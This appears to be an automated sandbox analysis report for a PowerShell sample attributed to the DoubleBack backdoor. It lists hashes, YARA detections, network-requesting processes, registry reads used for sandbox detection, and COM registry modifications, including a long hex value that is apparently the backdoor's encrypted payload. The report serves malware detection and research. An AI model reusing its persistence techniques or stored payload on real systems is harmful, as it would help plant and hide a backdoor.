Analysis
-
max time kernel
91s -
max time network
134s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
03-06-2022 12:14
Static task
static1
Behavioral task
behavioral1
Sample
1662.ps1
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
1662.ps1
Resource
win10v2004-20220414-en
Behavioral task
behavioral3
Sample
Scan_139.jpg.lnk
Resource
win7-20220414-en
Behavioral task
behavioral4
Sample
Scan_139.jpg.lnk
Resource
win10v2004-20220414-en
General
-
Target
1662.ps1
-
Size
192KB
-
MD5
3f5498ca9c0d3d185bc45edf45185d07
-
SHA1
f945b742489e29dff58fd41a4f6293b6deb57533
-
SHA256
caa1268740d0b48795621f8d0e127fd4574c87de5c16f5348fadc97866d1de39
-
SHA512
34849f297613c9c2b284704e65701aa88ded0ccea1956d55233a052810149b81489c4e7b6bd0416b53d394ec676221527fbe700434756ed04827b5b9bad0334c
Malware Config
Signatures
-
DoubleBack
DoubleBack is a modular backdoor first seen in December 2020.
-
DoubleBack x64 Payload 4 IoCs
Processes:
resource yara_rule behavioral2/memory/432-137-0x000001D5E4CE0000-0x000001D5E4CEA000-memory.dmp family_doubleback_x64 behavioral2/memory/432-138-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral2/memory/4324-139-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral2/memory/4324-142-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 -
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exemsiexec.exeflow pid process 2 432 powershell.exe 32 4324 msiexec.exe 35 4324 msiexec.exe 39 4324 msiexec.exe -
Drops file in System32 directory 2 IoCs
Processes:
svchost.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{C2969233-1B4B-47A9-A059-1BF25F67866D}.catalogItem svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{A0F737A5-FB29-4E1B-80DD-12D1166DBE78}.catalogItem svchost.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
svchost.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString svchost.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
Processes:
svchost.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU svchost.exe -
Modifies registry class 25 IoCs
Processes:
powershell.exemsiexec.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0A12010A-1313-0B03-0C0A-12070A030909}\ProgID\ = "{12000B11-0704-0100-010D-0B0F070F120C}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0A12010A-1313-0B03-0C0A-12070A030909}\LocalServer powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0A12010A-1313-0B03-0C0A-12070A030909}\VersionIndependentProgID\0909 = ea409468c55d0f22d891014174c139aa896aa74c715083048e72182c68c9650ab4ce9d8b3d77ae47420b48318f38704ae616b338e528e92ca89cf0c6257c3fb1ab1d32240dd09bcf866d7a69cbe5c4c39a6d0fa4ddfcfc032ed9c14879f49ad875f4ed72dc85b73cf28f0f0597d824e264754688149cd2ad5744a7e7365e1bac79d8e0bb46d22e313d995a4abe34b5b49d62ca681bbe27a2d0e8992d371aa57738e7c77200f40dedca7052d4f8b430021530b3e6edfd351b715b9a8899f0e6bcdecfe20babf7a0a5ec81d8b87ff9efc62f27d44a703131f5b549d8e3d6ac241b604d662a703e8215f7a45a4c0e7c3b678e42fbb79d36b6f65e1ac65fcb721e6102a6040cf4d44e73937d65139b7a98a11ccfd8ef4b36c9a5a22a2dbeaced755b2fbef49298f8328306b91eb86b61a29e9371cefd940484cb91e1ee022a10c1ea7b3f2a8d5db8c47aa24bd3e0c231594afa6d0d1846e826ae33cda18a1c2b44be41f84fd9d2f395816220de662de5f0a6fbdd581a40cf90241bf305c5727b0bf5f57f94fc180c9a5b6769f5d6e36b0077212504bdaf57bca30ed196576f918eee9be4f873bef65a774207dd7bd129435dffc8895d558dc74c8d3400443f7bf7f147c91a38a6bfca1be9a269c70674fa05d13cb589a85ed07964733fa393d43505dc8dc9c4b3f7e2e1317e97ebe658fd77e65738a468be7794db3dcfc194cd7e04c8ea63cf1d6449e20aa7a8df678aebed67162c4ae553dad0a27caff7c1bd8997fb46b2bb88f3883b60ba5396d5c1f71c4f7546854bfa2919827b5535db2dabde0162c72361712297c2a7c116640b33454cd7e69a647dcb246c8cd6acbc2fb38410cca989fb2358bff49b4031d7e76a37ca358b39f899823341a320399f9c1d1f0ea6467b59584ee7ec16f82ca6fff2db149cf95bc9eeb2b48b66af40590a3b8ac9cf2cacf358d345b4cb26e5ea39ccdcadd2146e5c829c5c384077a0407284bf1c7041e6468422be622d00af2844d6f1a691e7ea88a26a7180d9e68e6584edc5468adfcbf859c43ac3a3627f400c578a8b13410f61a4f2c7035e646daa523f1adb3e1cc19c074c5cbed18433d7e59101abd9777334948bf3e1381de85d9d418070450e8e63fde7dfaa318a4b19e6fcce68caf1bc0b75c5dcc67f52afbeaa09039377b9f160028606bca3e72340d009cc21f4f82eac0aeaed3fa71506f2e6bd18f33828498a0779deb33b7cdabfdeb300afc80f11aeefefbc52149d380c4357115bd427fd5b0f1571b755210aeacca329e1487508ddad27b29f54a4b391bf095ef43214fba031c298e63eee3c4bb57d636ff99b6a58c97e33e29f051d922cfceeee1c49255d46f6669a47074129d1208393268450cae34c3926d199e721f1a126327ed8ebb843cf1252de481fcce920b3720dc11d2aba5466a9b5b3d6710378c5359d32f4966f79ba43b9306700333475ddbdfe79934382e7402275b5ce2b931d26383c4f013acf7ff5262df6fcf232e570ee525974bf643fe8b9fe81eca3f540eab46836784a94f79ae2644abb02b03854d5d784b030f0e4dfef6d75c0166a23fa4cd8ea327c1fb7230792d5e5db2c735e25dab1b262d897359fcaf38b7db70a7192fa9094ab9a91e80711049ff508383ac71b425a619bfe430612987c981f6643489c7b657c348141c3d98f390379d2ed5bd59fb815e182823804724141c320b63a3367b7dae0b22f95490d5f0632cbba47e36b3c22d2021ecbad0ee390240b5ef7394cad45c0828f204123de4fd1245577da569fdf914d157e301b860fd74d5032902f868d188fab8958e73617e60f6b310fa005c2ac5653ace95173f264750fe9aeafc159df68e8ff0267fd84bb039e9fee47a8bb7bd10934ec40cb3e2ae0a75a04f74b01393376af20ccd3d0597c8cff7a6af8fcd280c5ff0fe6f53340879589d02d8b4ebf1e5375d95e14bab2583f118462c1f9fb7de1218dd8b0423fc6410e832b9a00b58a0e3437c8726cf3d02d42226116a6b54b5c342ed5bdfba0973ad0a687c8879a7c2c553f4a82dd245a4a13b0066ebf86fd4a37d241a0769a1085de13c08be930a9c1d37709ca808769ad099c1e59b2eda36ec8df2f88c6ed5b69a394ab05b8aae78bbc30583b8a75e1a5e90296eccada6c5783b887e7a9713a1fde8895a8c8d707aca38e2a2aee90d3aefd55ddc8f8b8516dc2c48df04683073a0a8854d659d1c3d254f1e8716b0145cb1557f1993d717ca96342a49ed4132c8f91cdbd08ea911f26ff0f293856d8b0692072eac8471ffacf76aa66f9df85d86760f6f3ffddba6bb24349fdea03cbf12077c08c2ffd965c8ae95effeb74e5380c48affecf0bcde33f5918781884a48496324b2ef0393363fcad00396eb1ef347e5998cc6995a3756ce6c84911645be866204ab4ebf873cab8ff5d92b4cc9a1f3186e90bc9ecb353eaf88ad912e32978f5c454f2c8468a766fc8e738330c992173263aba7dc4d9be9e73ba0655d52aae0940dfe870ac4b0fb21cdc30c7b34bb698481734f319c99cc16d1724761bf5de7ec8d3ec6639d6810bc6348d3f0baca8fbd8e8c374d2df5e787bc66d7c12c06410c4b4a0ee88d35e1880c087e2dc8322362b7a72e80a551af20079f6a4cd77bd53205b0d43f80f4ef1a1ed8e28933fe72af1c05f47633f2568a4eaf5cd24a72736ec2a9bb649bbbaac034d8fd21278429672f077339731062a3d4578d5d0af68fb7c83b2c3ff0fbb76bd882c4b8cccb3593a6b5a89b8af30ef3ba524fab5c4e51194f734dcb575bac5bab786fcdd8e58d887982bfaa7863315b9265041603be8218515dc256fdc8594689639eefa89dc9341391de080063695d50f4f7c4de3e80a19ce59257a3729f6386ec26441b1a2f66be40a88ef75edc4befaa087e6a6d4eb87f52a68ce6ef1ef23252186e5f2d78f917b231d49584b20906a3b9a2afa3210ffb370687917cea56ca280d5957f855c403f4fc2fe2c99c844e348cdba18fbf4b327accbd591e76af227149dd387cfe89a4440ae0b136df1e6fb5f78a0c8e083a6e512d04e2a805d16432c2e725b91ff035379075cae3164d0105c41d73c51d04f909b4c91d371d3a22d68c4932c5c2f48b85c9df5464fa44027186d0b24af42bfde787b5ba2c51cba49139c1556b6d970cac75ac4c5931afd334fb13f9f858aff0a28df4eee24ec55d8797fc32d979902cb670c4a17f510cb40c34b153dcaaa3598257c6fdc80c32a39475bda22bd478ac7e0aeaef7a159e5eca92cc59d376ea49d7cfc716ddd9e6b57d45637bff6a362ea5531034c24cf25aed61787ad69383d61042be2a916cc04fc8fe7420421eb3d5f65435f309f9ac919c5e9e4598a8cf7da641cba7f2407a9c33771cfb265ba25263878fa18424ef57a072365ff276bc7f8bafa65ecf679449fd1143974ec6c6c055b320f1d5cf68b41bb211fa3d387a95aaaa6b7a6023a134ddfc9dd894a6b75aa20061076dd9bab3a12e74297389950e7b2cab38cc163269b90cf01194a8f9147604efc85a1e665bcc465288014e903b47e0d8261d49c42790d59ea806dcbb1f77993f36c031aae51e0e79f0501c14d84c1f887fb26f2900bfa74d429cb75a50639bd9e96a33050403498526b4656c3d04765b16d2b8c863ddf7eb4ef58cf8f9584ef47081661da86999581949af1042853bf3cb775c698e7c605a7d2b2cf78bb4f12e762cd4a50943d3d1af834fa176d751180a5ddaf44e17edf1b55ce3505ac7005c5f72591b75c79858f0be2d6f75e5230109522c97b62988868424b5a86aee0855839686b876b5dd77875468b21e46a3cea2ec94dd476872a224b96b59ef0f462cba2f76359930b2458c0fea4ea17e10e182d09c9eace75966c999c6fc94005f9734800fca608589c2c1fae492a3d2f8264ba7be3e8c20c241b0cb323a6f881488d06c9303a172cb69ccf186f44c22fa1415b1403d6252f24cd0742008772be9c5a5b82a9cbd5ae31228d9fbb40919a60417792c9896cf5b6de3b62d7e4c7f0e21c2f0be9e5a78efaaa0947743a885dabbea2bd53b55cb1b46b0688486ebed32349db655374624f2f985c4b46bea4f2e3c13036d086d668798848b2760783707669dc2ba9885f3330619e0b7875944bdae1e7ac5f3ad7a64c99177d23d5414aa2c0d30c4b233033cfdefe5ef57213f49b7bd11e193c6be18237ec2ad8d67cf01c75c9b969a43024cbb5afcb46f58615fef5fefff09d5a1d7e6e555f998b48952847fdaeeb8ec1d56d4f328b8f06dbe912fde1192eb24a0df4639e0656859db4d0248bf958d2d90c8ccd6787d37ecc33b9accd0391e5ee5d461ce2a8f0d3ad7804883f31aef6732dae5e4864df1c676c94ae1375b9bb3f987db00d1b12b670d55b891b21226a240fd4bfa15bed436efb99085bb23fbc3d19f61fcaadc61ddbf7de956d648cb531281d158ab5108f6a171aeeacb4b1ca19bcd02887feb1cf5a012dcc1f462d2d1990b44a400c05869c7848879efc3255172db20b0ad96a0413121f61dc7bf9f4f4ce732faf84a071c255bba1b3f287dc8b4c0a5b647b5e5505fde26da06197192adabfcee00aa307588f52b7b3159fa6faba404134dd70553b6e0fbeea947ddafc6bcbd599fdad6dfec1198490990561e31e15384bc6d8c2e375294915d272cc5a109bc9bd13b5e77bd7e4aa7724b3f809e3c022a5b7404dd761f84ca8d756b5ec8b1375edc3dc5d14428213b98d68f17bb15539b91deaeb58bd55d289393e3ee49ca6ce176bf17a7f98ce97f5769e2ededac253ebec87a044d666cb267a47e8949eb58a879a48c4327caa70381bd0795e89e2309b8d7893285cf4d0c356df9a375bc8962615919439d3b6e3ba3b50fc3e1ceff3ddf28909ef8c0a0e4cc29dca90cf4a22c524eacca17f63228bc6a451cde5382be1061b09a08d16368dc4ca42dafd4202a35f3458970f289a03a7d5d6d3533a14c8bb8ddf31994cd97242f43da768fd5f238b66174c72e09c9c1ec0a34b3a701ec72c8fcac48b1d311602e0c3eb4f41050ac350c9a571162f7a2a9eb290b8cd7126a3b5d5069290bd48d3d2c09d661a4ff32c1e76f84f56c4a1deb97b92b94c0d280713a497c1535abe88b26f12983918f64948d638ed6add6fc6e3045325b3a2d3976be9c6f58a889cd1c9e658ee393e07780647efb618c146d42a911205704ce0f0fe3ab5e70488eb81558e94b19a49dfadfd451a2a1710f9b77dcb0a84ad967bd9fb809ca7db336e8c6fc5037da5dc7d160bd6de5733bf9f8517b30437743cf1d63fae227b2a42012b8ad85ffad49e618cc52f7de741cc853a229cb9be4f812ccfe18fad37d27fedeae75689728715d1153898968d83bf4c87f026faecb7c64424671270a72243331712dadd99c6e885c7daaf20712da4b00bc2a3c8f72c633ef5ba684269aee5befd573a82ea45afd1b35363396a64b66ed2e6a36ede6f65e6dd3b2f2e7782c46480e5ac20354833f74a0c4ba1733b50f461f38d1bc1ab0265535a6932607b60f4b947cf9a589caaf8cbd1dcd48b4c32e04c3a2381d34280f3999dc165bdc449442034490631ebd97ef097fb3fb3293b63a5e77c50c1399e3058f0a1507031a18a43b1a2f3b66703d95a6dfd7703ae20f415069df732daeb8d4c3ce707415fff4c4a49e01a3897050b578ecfa966e8277e0392ab4912d475b9d9df7c5ae89cc50d3a0bcbb9237f537e443ed3b0b9d1ffb39dab0304523b9281336cc67f724e8e400a713d422c1c2932d12d768bebe8332011ab6b3e8073c49258509bcf0279cf6274d72641af6b0ef64500a140ab1f1c18b44f4c8dab17104b2bf9ede74a1ed5e3b84674efdf84a8314394996406cf6faab239fd5099904c6b110a128ea8873684fbc1f4987802cbbcd96b9d11340e6eb5a7aae33577910714c50b6cc61a9581feba350315c9bb9d1be9535120b311341a4efcec949218377824b730acefc32da57b462ccfc75438aa8c8e371e4e832c3cc4b7fd3c87c40a1a7d1389b505325e7736b26feee334a35031fb2f99aea911ae450814c3876f6f417895c0dcf05a7de878814838005f435ee298618088a38cd6eb4187fb53b6084b31454e6ff2c30b5a2ecd0884d1d1238bfabe716eb639beb251d5c10feb47baa7c6cb5dee9a13420e1f70cd9c288073068e7c32b2a572c045d0606b6ef0349b6b52a5b32fda6be04357a9a578d7f11c7a3e289bbe9aefb7eb79746f4b52e47548811fdbd805de7266f106860445e0d1a91700eea96388467ebac8df93328ceaa49b2584cd65cfcaf91fc192e7334c8c6eeeb6bb0c11c0f8ef2fd6697df7e2443ba9aa14ff48ae90256dee79b642a383fbaa6a3172f439db210e4fd3e610b4dd7b6ea44ca7ca8d9e6d85e3bea902fca394763eca52c2086cfb7a481ae5da3393cf6973665e7a175b41d97f621221aaac836d978fcca19300415cd0dda73b3aaa4f49be1e302902d828918fa3de783afbfe2af7698bb23520a434927bccf3b5cb2105e4472835cac630a444a7804a3eab103ca5c30ff8a24004d3ad328139bed973fe0bfd5c2c467b8de5140e7832dff8dbbd7022327008455e0762bd55602e55243857052504852e95e4faeb48c98db775c7787147a672e8aa3754bcd5b6076abf4fe51dac75a998fdce7c3e5c4b166d2dbeb02322feeb92b3ecbe99b2f26efed4be197008d6722c591e611322aac1973368325ca6dae709491f49629353053c4bc3861f77500b06b2930777be740181fee3e667b6b31707d68b91dac4f323eb23e3dfc55e6c9ec77cb601babe2358bd0151a581febda2d7f19cc0a52fcaea08ff29798399168cb6c61c78649db784d9b01ce1a1f6efd1c9bbca7bbd6380faca8b531de16d3c4ac9a0384c27f8d62b31bde1ad70837425d43a6b37b26aa8c17b17cf13fe75279afb632533c77ea8ef0f2ac91d034783e833dcd9b393c2188aef4b0c052a7cb790595e9374130e3cecb95df0085dc585877c83ef9f7d99fc46e6564ec5b957c5b8092943b602d6395d598db56bafcfcb3193ef9f75cec1a0edd4c1688f80f4fd4f0f364fcd758d26ba9155fdd34ad9d827363ef81b390d4e8078ccb45f582335397de1e01f98f2c8c60a8e8adb183fdda98d1bdae114fba525282208b4146ca00076387ee719b06e550845f245fb10790e876f58008f5768850c81f22687952c66c7b3f8366811b562a2c9a7f3dc6966232a4d3478223da7a2989f88980b63c2195503b6ac99c478ddbcdb1cd9d1febee4a6602558a26dea626e6614f64bf6366c767239de24204d87941734e062f5d285eb6e6d7ca1c85d490201c1742c62e9a9b303782e5bd7632171d1988223e12f735dbdb69c3e442ad7a6c40a17047b49f16d624047db0f40e4a7d335761f95b8f85c8a343b84187bf9dddadd0f4b66e559486adccef8e58850cc47ef58328bef7cb3a1f9c0271ad3d9a8de0ba5130a7ebea5331ceb42ade8f2b11d4a6aa6ff96c8b0a8d7946e5dadfe3c393cae40d471ce6db3c5902af07b03c56b7f059ecb116c799c48664fc37df52a3c49b21f870fd35f87779b1d46e7846b17d06c359782870474435f77b7cf7ad1c7c95a7ddf9bf2e8c3b71f02e0227d0a40cf9edcd5c2a066fd92e92d8ccc2f5e51a0edd9a04a60849e3cdeddd619e610da1273bf801be5fad427095eb88fdd7664cb3427a9938c251abc4b86ff2602d48840cfb477a792a77b4f04622fc5f51b4d51b31a1055e9e3f3943a6099b3e9bf23535ca459ec9a74e37133fe3c21b78b441aac7d54340f94e321575b0a083c13ba64b423b75ca7376d89d95fcd3bc28966bdbd9e797d965e0e9cc3847d6ef305c290bd3de6154921abe674d563c6242057d6275b5766294fa783ce974776aeacf1f241116a461359d0ec6542d4cb04ce0b04cfc2ec34b923c634e322e92929738967be8d419014dc186c9fe9f646a5a481ed0cd0790a64598e323262ab6cbc12a15056a362b3f3a66beaf4a7bd430172f04d17d4a3193edf360e1ca5c063b474307e958dcc2b0157581b428a999f350edd53eac1456d567626fd35a79ac061b603b78aba4aa1c7875a0bdc2093944b1137f182940ed12758a2670fa5b3874bb7da26968fdfaf14730028af62cc8a405a145e12a407829eeb11c2f6066d167e795b8c22a7c5e18498c0d7fcd9f6d98601052e5b176573b7968b9b78473b4f230ddcd68800585e61d5cbc573d8e6d1d24f9a57430b80a16090687eb159ebe775afabc3ad78c0fe23b818275abb923673770d6dbefefdf41b94599ce4344900132b71d66971106efb7beaa955f6b79f17728ac9bba5e2fb2df51010cfe1d026888ea5db408e16ee76d71e705868819da96bd57842361fe076318a39d77da85467c0b60bdf38e989814d4fd41b6136fa5aee2217b5ee1fcd4a0534f16b518a2c59236b4e186ad717ab5d72c02cb286c2996f16551b7d784e736df5f1bd76470e22f79185df8030dc814c1944cd001807d0f39f45ebb53b7beb0d57705182ce60a4b2cb0419ae1539288423385e7b84fb74c68769dc96772223019f9594a915034c5a116207701d8a9d266aa4ad4fe24668aa658736ea4da81bb2a14e07787a9c045f5bc2a4509dafe67e7beae3d0e215eef3e121616f61ce8cca9d6f6dd614b820eadab02170dfd2d7d0522fe1cc40fc96a2f22098ca937fff9ac402c2ae7811d124a85a812a202c25e408eb71b8e0cd19c0b99a2df984edc1804a97f215d33ff1c767056aedc490360daee245d71f3ebdeebafe67a75ec1e9dc411ae13bf2b7e3cab2a13447e1f51e4c363ece8b2e44cbaf3f7ea53931381b063d2a7d8792941594e5d864d02b32d5bf42fe0fa8aac1844c8a73b4e3230281cd2d2f15d5a02ce5fe82080e2d2497aeb5ad936c7642efc2be37277f42ea2af691ce4727e8837a48ea9e84ed60451d300a1431deeddb7377e81bf6b13292915a0c5585b66327222d17c7b53455d210881c5351942a0c27eeed8a69bad04fd218d022f4b285692242d3a4aa1f64f93bbadbcd1cb7b18cd63ea40a462fb4bdc59ea7578aa250bc3320fd86e5fbedac8237266a8ed164479d6fc18f0ae98c999accd9c3c300f0bd10b66886b6650daebd92887c9a09a00f8c5b63d2cacb69cb218a7d564c2514a73a1b931a29adeaf98455ac1bcfc3eb607c6aee67dacaedc86645f0a5b220ba6bdba683ee5dde367e38923546d2ee6b6c33a3a3142db4e09e560b5fb27bd5cd9bd5702abb6e7ddb0be6e86e8b1cba358fa7e9c31351a53a4a2923efc511c359fb18e1478af5b412889c7a024464a71215c2791a5471b1afa74aee90a5f833859e21c7146be450b6c75d06a54171fa2c396e96119acdc558de483f523785dab8249796aa273127043de8b18f1b676fa8e51903cee7f381cc74bd7deba15789dbbadc548dc78338a71e3c06bea306ed3b95fe72fb1513914a43ec454bbe0a26d94ba2a483c9fefaab5024e6c29239b81625e3efc2d263d1f7a7757b03608ff2a4c2b7d39afab8e2373f3617c4939ca8a2d619ec7517ae24a7e32e3d46cbc97d2955f5d1c534fdfc3f27dca868b50df6504b0b4b2f758330c21659a1e696422463a8064e74175b7fe4f82ce54558f63e2f8b7a9fe11afef81e06a6d9b5c3849598c4c45a1f4e37643e9a1f066fc60711af65aa1e0e6f730d97e562765faa3bc3131a24ef5a49a713b00f88f8800e20c68a25c92ff93b9cf1d7d1e9ab05f94023f0612dfcc1be7cd925baa88cbb31a48155bf4efc77fff03386a51f1f312a2b52641e2073f1b0c921231fba8970ff39f6f143096a0b09f47f3b88ceb5b74549ef4b93a5d474aab05e858d0bafc1e36650a7223a3d92ea670a42b4a0bc9a38e0c366423950a6f2843c770d3339113ac8c0a0dab1a31548ee5c700bf25aa95779dbe3896e9629b358465b21029758000d2f7d7659f29fa2a749f1eaf5c595873ec768154e0a5f56248d53e8fa42089e5fe16bfb1ad2a30f9a1014efb7c6af4a2087bdb0f74fdc3015fdf4dcfd09c482644212b339dba97f151463c6705c2b84d1e5252297b24352fe679d269138d73107ba78ca4bfea0766a949963502b144db5b22f342d7173e6b3ce8f25dac2914522fba8a321d5f81a6c6bdb5853549a3ac08d3d6e73137a0edd73c566e953b86f45789f35dfe65624e8e2e26c7a1eff641fb4622b250f0c62081ce7c3059188a22a9fe2272fd57d4e35aa693906824666525305dd9901e5a17d8f34062bb428c4fde1063e510edfe086ea513b6257caa87c3bad03679fc6eb7637320cef18b56f0da446b3ae69c76ba7ddbeb9505b348d80f47617a3283ee5306d1d751e71b25b3f3bff133f0929cabc2efa300ef7dea8cde154b788ee9ed4137fb74dc49c189993a2f1e617651a3b266440811911f987c1f4faa89e16ebc84bdcd9e0a08b7673c3b5adcdb4aae52a956ce9e08190d98f219bb1f14c809bd85cac29b07ab2ada38c597315cd8416dae42e7cac25053d7dfda372a2b7441ee729aa7320eae83273fb8d1efad17b6083ca5fac89f061990bde2179df0fa20aa867adf7a5318e7ab4d64573983a46d4fc7f2686950e85eb2782900b7195cd0eb8901fb23ed0a3e6912946feb0f998dd71e2448f0ba56d20de0b9641220ccd4643dbd8d6b92608c916eaacdb2058ce50d654185f444a2c33c06fb851224cdc152e7c774db6928fa7d49b04e9fdaa730e72e7428c8b23df8dcdc665cd1b9b0d8c374bcdc8a416f0caab6d4590f90bc379306a3c2ca18599a0e77404008590877e1928912844518560752946f8880b178f3de71667d9fd02b82731cb8656538ce8c8357e7841512ace8d4a9a87d0aba5c3b18e0fc694f368295e2a4813fe048aabb6f9a6fd2c9b01df2cff5222b0e319f1e8c8ad8fc10d9e8fa4d6eba4c2628a17d378cf1ba258efbf987aca00fccd152bf5a07e99296cd221e1866bb75591d267e64ad511abd9db92a0c24761a4e1aa2092b82ea7d4df77cf9ba545244fefb60aa95a19139812c4547753ba2972e43b1c10161af902754df02cf21180b6e0c2c9c49537abad9ba485cdf732eb61e85ae47c3c09819d1649b536e12e6a1c9707ca88f83c3dea644c855c5da1a4a7fa6a94886580eb3cf71a6ff074db803b4a65c9b816910a61b9935b4e77c3646abc5bfd0d976dcf9b52f89429ba448208f233c250633da204932f0b19e637195aaf4e9dbede24cc9866e5b760e1e958bc36adf82d48ac1c02aaf3d9e9264d11e42e56c174b24a1c471a43f65ca1a853cf0e26beb78a7ac0b0d8d5feeee873a7dbac6fdd63223ded7b28bb298f4a208269f4786e8976583630f17774114944c1d0911d1761aef53a93e3201bc21d02855c65bdaac446bedc14b8dcfb73a03b415b110b79afd95cdddca813a1badcc3940df0e849522dc11884eeb92865747562cf618858818fb65918a85a6ad93646c1b12f375ca2a7018a115ec983311023c178c4e9ccc80dcf33352a349243008ba869450d2fc5f45e1c4af7d953bfaa501656113cf35292f4f71b8359e580c26da05cf0f21586117d33560b779fc6fc251454aaa3a4025a8e2b7e6ea41e5565fd320326f782127cb9ab153d7beea1ae16f74d51e94c8d04154a04f3f4cb7d23ed76b36270823884419da391b9da5fa95d630aff3867400b630e4128abae2e156eafb9a36d68510f600008e23a8cdc3a9b4c4154fc87c96350409deb5a13d01a6642756b807dccdddae716266a8b72dc9b45e62fe4be1989c0704589472766f51669f3636869df53dc7e4785e92432a7d78a5d49b090c973411da9d357e0e20db9e61efbfe4ba4696fa7568734edbcf1c674ef9f6a4508e5e82db89e067dd49830ffba5f6471bf2284f2b4eb6997c8a31d356fb354f4b22e53f76db9bfa8f9fe1f1a9f780f68ba938ff1c3a131b97ec5f447efd85f04f87be06fabf793a880036751578242239089ece5f34e8a516c40cc8e46f2e4668277a4aa1a78f2f7cda2214d02c06f88a948746bed6fe48b4dd0ca4986f19fd6a84fb86b9b13839cc8378d12218d7f65167a0efe50b3aaa5a6bf18d2b965b62b8ee94ce2d3f4b9b01cde6a7553cb3d9a736de223488a01954c7210d58249a944f5e416fcde56e3a98c0b4d4f51eee8cab68ad1e55ecb5d8889c7a71af58dd1edcd1572bb8523eb4e305acee007dd6a26d97b7bc51757f27c28495451a4d99ad5b36aedfe92d8451df83bb459388a4bbdf9a29f982397166f9da3fe0d452ee6c65e536f3219a9019bd5da879f53db438c0928a5814617e9c8d122b8a1a56e342dbfaa1c986d074cde88633550e890ca4b21d1e9e0ab260ff1def967833dcf198361bc97f7d1f5820c41ee5fb3725ec1c81a867e2eb83abea7db39ef526c27da20db61213cc59eba63da661ecffbdaeca63ced2d28338bd5f2b5f72d33e7c0aeb590d705649c6678c389c555ee9b217879bdb4373946c998d448f6a9bf14057a14665c53d4a674c7d523d8419a2a1c362925f8600638dea992f1365d8164171b54a3945f5e8c3e7e800b9a5a4219cd6f4283178c1dc0f64a40b20fc2e011a847f76f85668e38b5fc09345f1354d2dc556c2fcc823b37472e69eb98da5fec25fb60029738890df9d83564d59d5c538f3827745a5663d38406a047f2fc61f635bdbb675a42356b700012127f31db18c0318f269564ffd157f45819c709aaddbcacd2d992e4b08ab25dc28c64b7297f9f88f66f5bbe737fb10b98260059b4a017b179e0d6535d36fadd85764356f09ed8a0ed12398968c6cac4be81d62c0f6a84950c48daa7109ff9364a534ef379cd202f826b9bac0b82a75601db7118c4272522d400a6d1b5ae1696524368badf746c390a79245f5d58e4965020a2c815c94db042ead7ccdd33cf0608a3c69739894afdd9176cf7db36378cc24f4a8e1a9f14aa7f24cb5cc781a59d2205bba355eefacf1c045eb33fe1e752f9660612a44208ff73c62661ad9af4a6a99d5df9b8d92382ffafb218d0b6eb4913e8c94a76a5b0a4e70a16fae4577878e989a103743b3cfd25a532e08fb1af7e6d052d36e1021bc26e50ba049a15367d4bab37e3f86496b7195a6c10d5a5fec3915d8b624eecabb7d5b8a047394536cc4e45d3cde4ee16bf86b6a891c0ec1dce1eb5ec62afddf2e75ac293dcb9993346d1b7afd32de3de9dd318b5dcea1b90406f679433dbfc238d734600553c04af6ba74e45760df4158a33fc12e8b7d42fff8fbc6a1d66a2cf28e92a86f7b849ffa158f8f22609c63a128d2703e274bc21206fdf93f76d654fd5ef72387601964401683c4110510ceed90de8403e7f78ab9eea394c20f2de5216fed6e26494c019b37082f73a79455d54bdacfc421c1b5f192fe40ee1b91276f1eb11af7254c5ec8749a4486a82452f39d91a846da67cb6aade58ebc83895db5e3ae028e6ef1cad88defce73324c31b704432c6911bf802f58c3722e687a780fa9c43830ef49648448dc26b46553a0d37c1a822c24c092d483249ab299dd96e7051ab967036cd4156c2ba43e6ae9c24a158929304fd18a87d49677a35bca0fdc31567f4fa92cecc7dadf67c8ddc69f94dda722e47c9949e9400ba39ab5f66aed30be9e3df4fafe1182e4717c51cdf46e17acbbc471e1195ee3c1a7b284b2b95b5abdb001fcdb2e227967244726e7e3688446a9e265c1552c1a5f99bca3de7b15ff24f7172b0aa31a38e7de340071cabb11019ecd192890cd00075653e5af8af74d53d2b9b2c9051a578138e4d79c1e7024414e2682355a80609520f27b61b3f5c365856cd484bcb5c9adc7428e50d8545fb19a0091033d8f12ca9de29f3400480ad80a417720cc077a3565c3908e54e4c6fe61671fcc9809537ed2d6f68512bcb3c2df992b462f7c804b990e5126fb64e29851948e73ebe9e25b2eed67c7ed6d32fdb4a1fe0b923799417b470392bb1f26bf92653c9ea9a4d3cb2a1ac51242826cfbfa10703f3064bf479f06acac759c8fbe8b1bc60104a5beceb8a65dfa274d9fc5ddcfb9b31f944fbe9605666b8ce9fcfc8d86c9464a6155093b4af5654e04522fb0e1194815f1c68fe6e14fc075c10a94c516dd87bb1c942e1f54bf3e3e2ea242c30e539e5b1287ac246f7b2ff1dd6fe4f4b12a5ce68690fddf41c6895ebde4825e8a662a0943e78c30a0b89fa3e45772893e56d959f69502b93b607f4909751330decc58af0cc5af18a358920bed10b6884498a761e6d7bef700932c246453b68cbb1af3392761dca11b433acc1151679292c0adb1841a39c2e4da22352882581e51a6f7ffa5cde58eb3a32431458683921c086f073acbc6982717a822becbfdecfad5e9a68179c67807a20f8004f47ba43b265a1657c37b4f15b889fe30d673036756369764ca1e7dd4dec915056254522192ce7a5c6c41b74175dadcb79139636c08ef719e69d418f1d921b9992f7a9ab63a3e8470e56d2ce2c14cca7d68b1db2039d528b9e7d7d70c62b0707528995